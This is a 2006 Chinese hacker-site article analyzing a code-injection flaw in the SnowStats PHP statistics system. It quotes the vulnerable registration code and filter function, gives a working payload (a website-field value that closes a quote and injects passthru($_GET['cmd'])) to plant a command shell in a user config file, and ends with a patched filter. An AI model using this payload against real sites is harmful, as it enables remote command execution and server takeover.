黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 脚本入侵 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[推荐]SnowStats多用户网站统计系统漏洞分析
      ★★★★★

SnowStats多用户网站统计系统漏洞分析

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2006-9-29 8:56:49
SnowStats多用户网站统计系统,用户非常多的,听说jnc站上说有漏洞的。他不放出来,那我就自己分析一下吧

入侵是从头开始的,我们就先看看register.php。

轻车熟路的先找找写入文件的部分,看到User Info 部分是这样写的


------------------- begin------------------------------

\$CONFIGUSER['username'] = '".$user."';// Username

\$CONFIGUSER['password'] = '".str_encrypt($_POST['password1'])."';// Password

\$CONFIGUSER['email'] = '".$_POST['email']."';// E-mail

\$CONFIGUSER['website'] = '".$website."';// Website name

\$CONFIGUSER['weburl'] = '".$weburl."';// Website url

\$CONFIGUSER['webintro'] = '".$webintro."';// Website intro

-------------------over------------------------------


觉得可能要出问题了查找website,发现是用str_encode函数过滤的

-

------------------ begin------------------------------

$website = str_encode($_POST['website']);

$weburl = str_encode($_POST['weburl']);

$webintro = str_encode($_POST['webintro']);

-------------------over------------------------------


跑到include文件夹下翻出function.php查找这个函数


------------------ begin------------------------------

// Encode a string

function str_encode($str)

{

if(get_magic_quotes_gpc()){

$str = stripslashes($str);

}

$str = htmlspecialchars($str);

$str = str_replace("\n","<br>",$str);

$str = str_replace(" "," ",$str);

$str = str_replace("\\","\",$str);

return $str;

-------------------over------------------------------

我汗了,竟然没有过滤单引号(')和注释号(//),问题出来了。

下面我们就以$website为例看看怎么利用

\$CONFIGUSER['website'] = '".$website."';// Website name

假如我们提交的$website可以闭合前面的单引号,注释掉后面的单引号,那中间的就随便我写代码了。比如我们注册个用户为mage,在这里提交$website的值为 mage';passthru($_GET['cmd']);//

这样就可以得到一个简单点的cmdshell了。因为是写到../userdata/mage/config.php里的,执行是没有问题的。Ok,we have got it!!

下面是修补方法,我把过滤函数重写了。


------------------ begin------------------------------

function str_encode($str)

{

if(get_magic_quotes_gpc()){$str = stripslashes($str);}

$str = htmlspecialchars($str);

$str = str_replace("\r\n","<br>",$str);

$str = str_replace("\r","<br>",$str);

$str = str_replace("\n","<br>",$str);

$str = str_replace(" "," ",$str);

$str = str_replace("'","'",$str);

$str = str_replace("\\","\",$str);

return $str;

}

-------------------over------------------------------
文章录入:cainiaowang    责任编辑:aman 
【字体:
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886